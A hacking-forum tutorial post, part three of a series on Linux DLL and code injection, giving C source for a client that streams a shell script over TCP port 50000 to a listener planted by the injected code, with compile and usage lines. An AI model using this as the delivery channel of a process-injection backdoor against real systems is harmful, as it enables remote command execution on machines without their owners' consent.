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Thread: [Linux C++/C DLL injection + Code Injection Tutorial - Part Three](#)

g4143 - February 22, 2012, 6:12 am

Main Page - <https://hackforums.net/showthread.php?tid=2220892>

This part we'll create the client part of our tutorial.

First copy this program and compile.

client.c

Code #include <stdio.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <strings.h>

#include <string.h>

#include <unistd.h>

#include <errno.h>

#define DEFAULT_PROTOCOL 0

#define PORT 50000

int main(int argc, char**argv)

```
{
    int clientfd;
    char recvline[BUFSIZ];
    FILE * fd = NULL;
    struct sockaddr_in servaddr;

    if ( argc != 3 )
    {
        fputs( "Usage error - a.out <IPaddress> <Filename>\n", stderr );
        exit(EXIT_FAILURE);
    }
```

```
    if (!(fd = fopen(argv[2], "r")))
    {
        fprintf(stderr, "Could not open %s\n", argv[2]);
        exit(EXIT_FAILURE);
    }
```

```
    if ((clientfd = socket(AF_INET, SOCK_STREAM, DEFAULT_PROTOCOL)) < 0)
    {
        perror("socket");
        exit(EXIT_FAILURE);
    }
```

```
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
```

```

servaddr.sin_port = htons(PORT);

if ((inet_pton(AF_INET, argv[1], &servaddr.sin_addr.s_addr)) <= 0)
{
    fputs( "Conversion error!\n", stderr );
    exit(EXIT_FAILURE);
}

if ((connect(clientfd, (const struct sockaddr*)&servaddr, sizeof(servaddr))) < 0)
{
    perror("connect");
    exit(EXIT_FAILURE);
}

while ( write(clientfd, recvline, fread(recvline, sizeof(char), BUFSIZ, fd)) )
{}

fclose(fd);
close(clientfd);
exit(EXIT_SUCCESS);
}

```

Compile line
Code gcc client.c -Wall -ansi -pedantic -o client

And usage, we pass as arguments the IP address 127.0.0.1 and the shell script 'hello' that we prepared in step two.

Code ./client 127.0.0.1 hello

This is the simple step, creating the client. The program 'client' will only work when we complete the final step.